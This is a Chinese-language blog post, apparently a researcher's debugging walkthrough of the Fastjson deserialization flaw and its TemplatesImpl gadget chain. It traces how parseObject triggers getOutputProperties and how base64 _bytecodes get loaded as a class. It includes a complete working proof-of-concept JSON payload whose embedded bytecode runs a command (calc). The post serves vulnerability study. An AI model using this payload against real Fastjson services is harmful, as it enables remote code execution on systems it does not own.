@TOC
我们知道Fastjson在进行序列化的时候会调用当前类的所有getter方法去获取所有public成员变量的值,像这样:
1 | package com.armandhe.javabase; |
上面代码对FastjsonUnserilizeTest类的一个对象进行了序列化,这将会调用FastjsonUnserilizeTest中的所有getter。最终的结果为:
可以看到调用了getter,我们FastjsonUnserilizeTest类的代码是这样写的:
1 | package com.armandhe.javabase; |
可以看到age的初始值为0,符合我们的输出。
我们在看下面的代码:
1 | package com.armandhe.javabase; |
这时候的输出为:
看到反序列化的时候只调用了所有setter,我们将代码变化一下:
1 | package com.armandhe.javabase; |
此时的输出为:
观察到使用parseObject方法进行反序列化比使用parse方法进行发序列化额外调用了所有的getter方法。这是应为parseObject方法是对parse方法的再一次封装。parse反序列化生成的是一个Object对象,而parseObject却是一个JsonObject对象,正是这个角色的装换使得parseObject多调用了一次所哟逇getter方法。
我们的TemplateImpl利用链条也就是利用了parseObject的这一点。我们可以跟一下parseObject方法,最后跟到了:
这个方法首先调用了parse进行反序列化得到一个Object对象,然后是一个三元运算法,判断obj是否是JSONObject的实例,很明显不是的,所以会调用toJSON方法,继续跟到toJSON方法里面:
调用了重载方法,继续跟到了这一步:
此时查看值:
发现已经获得了所有的getter,跟到getFieldValuesMap方法里面去:
可以看到age与name的值被取出来了,这里肯定已经调用了getter方法了,看淡上面有个getter.getPorpertyValue方法比较可以,这个应该就是获取值得方法,跟进去:
果然这里获取到了age的值。
从上面的过程来看,parseObject方法在调用的时候会调用toJSON方法将Object类型转换为JSONObject类型,在这个过程中会调用所有的getter方法。这个我们的利用链成立的前提。
我满来看一下我们最终利用的payload:
1 |
|
核心部分就是jsonString这一部分:
1 | "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}"; |
- @type 表示需要将给字符串反序列化为什么类型
- _bytecodes 就是执行命令的payload,其实就是
1 | import com.sun.org.apache.xalan.internal.xsltc.DOM; |
转换为字节码再进行base64编码
- _name
- _tfactory
- _outputProperties ,这就是我们的漏洞入口了,因为在反序列化过程中调用了该属性的getter方法,即getOutputProperties方法。
接下来我们跟踪一下这个方法。
调用了newTransformer方法,跟进:
调用getTransletInstance方法,跟进:
这里对_name的值进行了判断,不能为空,为空直接return了,而_name的默认值为空:
所以我们构造poc的时候需要为_name赋值。
然后要保证_class为null,刚好其默认值就位null,所以我们不用管他,然后就执行了defineTransletClasses方法,这里出现了defineClass类似的关键字,我第一反应就是Java类加载时的defineClass方法,将字节码装换为一个Class实例。想来这各函数和defineClass函数功能一样,我们继续往下看,到了这一步:
调用了getConstructor方法然后继续调用了newInstance方法,这是什么?这是通过反射调用构造方法实例化一个对象啊,那么我们只需要将我们的恶意代码卸载恶意类的构造方法里面就好了。这时候就回到了_class[_transletIndex]的值得为一个Class实例对象。且该实例化对象代表的类继承了AbstractTranslet类,因为这儿有个强制类型转换。那么这个_class[_transletIndex]从哪来
呢。我们跟进defineTransletClasses方法。
首先判断了_bytecodes是否为空,这当然是不能为空的了,因为我们会控制他的值,所以接下来流程往下走加载了一个loader,是一个自定义的类加载器,里面应该重写了findclass方法实现了自己的类加载方法,接着往下计算了_bytecodes的长度为classCount,不出意外这里等于1。然后new了一个Class数组赋值给_class。然后判断classCount的值是否大于1,当然是不大于了,然后进入for循环,把第一个字节数据取出来调用defineClass方法生成一个Class实例对象。然后获取该Class对象的父类,判断其是否等于ABSTRACT_TRANSLET,这个常量的值我们跟一下:
正好是AbstractTranslet类,和我们上面分析的一致,我们需要让我们的恶意类集成AbstractTranslet类。然后为_transleetIndex复赋值为0。defineTranslet调用完毕后就是实例化对象执行构造方法了。
但是这里有一个疑问,我们传给_bytecodes的代码是base64编码的,那么在执行过程中,肯定有哪一步实现了解码的操作,这个我们要从头开始看。
我们的poc中使用的反序列化函数是这个:
其中jsonString就是我们穿进去的payload,我们跟一下这个parseObject方法:
调用了重载方法,继续跟:
跟到了这里注意有两个关键的地方,一个是第一个箭头处生成了一个JSON解析器对象,一个是第二个箭头处调用的parseObject方法,我们先跟第二个箭头:
进去后看到又一个token的判断,这个后面再将,最后到调用getDeserializer方法,获取一个反序列化器,然后调用其deerialze方法,跟到方法里面:
注意到最后return处的三元运算符,判断type是否为Class实例,并且不是Object.Class实例,并且不是Serializable.Class实例,这个判断为否,所以最后执行了parser.parser方法,跟进去:
这里有大块的语句对lexer.token的值尽心判断,那么这个值为多少呢?我们需要回到前面的步骤:
跟进这个新建解析器的操作:
调用了构造方法:
this.lexer在这儿被赋值,形参lexer是一个JSONScanner对象由上一步传进来。然后执行lexer.getcurrent方法,看看他干了什么:
反回了this.ch的值,这个值当前为{ 看看这个值怎么获取的,该值是在创建JSONScanner对象时再构造方法中赋值的,跟进去:
继续跟到this.next里面:
这里看到有一个三元运算符,如果当前的index大于this.len则为this.ch赋值为\u001a,否则计算this.text在index处的字符赋值给this.ch。this.len 与 this.text在上一级函数赋值,分别为input与input的长度,而input就是我们的输入的pauload。所以最开始获取到的this.ch为 { 后面每调用一次this.getcurrent就是调用一次this.next获取下一个字符的值,这时候我们返回到getcurrent的调用处:
ch ==‘{’成立,然后获取下一个字符,并把token设置为12。
以上就是token的由来,然后我们回到parse函数,找到case 12:
跟到this.parseObject里面:
一步步调试最后到了第二个红箭头处,判断第二个ch是否为” ,当然是的,我们让调试过程强制跳转到第176行:
这里获取了key的值,但是我们不知道是多少,再前进一步:
这不就有了吗,key就是@type,继续单步往下走就到了这儿:
判断key是否等于JSON.DEFAULT_TYPE_KEY,看看这个常量是多少:
证明是相等的。第二个条件就不跟了。然后进入到if判断里面获取了ref,走到他的下一步看看ref等于多少,不幸的是,调试的时候没看到,那只能去看看lexer.scanSymbol干了什么了,这个和获取key值得方法一样,我猜就是获取@type的值:
没跟到,哈哈尴尬!!!!!直接跳过,范湖IDE就是@type的值:
然后就调用了loadClass函数,这个…..,不就是要准备加载类了吗,我们进去看看:
果然,第一个参数是类名,第二个参数是类加载器,我们传进来的是默认类加载器也就是系统类加载器。首先判断clazz是否为空,当然不为空,然后判断类名第一个字符是否是[,当然也不是,然后判断是否以L开头,当然也不是,都不是之后判断类加载器是否为空,当然不是,然后调用系统类加载器的loadClass方法加载了我们的恶意TemplataImpl类并返回。到这里我们就获得了TemplateImpl类的Class实例对象了。然后就是通过反射机制获得类名、字段之类的一系列值了。然后单步向下来到这里:
跟进去:
调用重载方法,继续跟:
还是重载,继续:
然后来到了这里,单步向下到这里:
到367行已经获取到了outputProperities的值了
看看他怎么来的,最后定位到底63行,在构造方法中被赋值:
那就看看在哪创建的吧,返回到上一层,当然是在这儿:
进到getDeserializer方法里面:
跟进这一步,单步到这儿:
继续跟进去,定位到这儿:
继续跟进去:
这里获取了所有的属性与方法,继续向下到这儿:
判断方法名是否长度大于4,因为有get与set嘛,不能是静态方法,返回值不能为void,或者返回值为自身的类,继续向下判断是否set开头。
这个最后有一个add方法获得了所有的属性放到fieldList里面
通过同样的方法获得get方法的属性:
最终返回一个JavaBeanInfo对象,里面就有outputProperties则值了:
然后继续向下:
跟进去:
继续跟:
到这儿后,判断_bytecodes第一个字符是不是_,如果是则替换为空,到最后返回一个fieldDeserializer:
执行完后到这儿,反正我是没有跳过去:
进去:
这儿实例化了一个对象,会调用构造方法,跟进去就到了这里:
后面的过程就和我们开始的分析一样了,完整的调用栈:
说道这里还是没有讲为什么要base64编码,也是原作者锅,狗头保命。当token等于4的时候,会调用lexer.bytesValue
我们知道lexer对象是通过JSONScanner生成的,所以我们要到JSONScanner类里面去找bytesValue:
这里调用了base64的解码函数。
最后跟的有点水,因为我也有点没有跟明白!!!!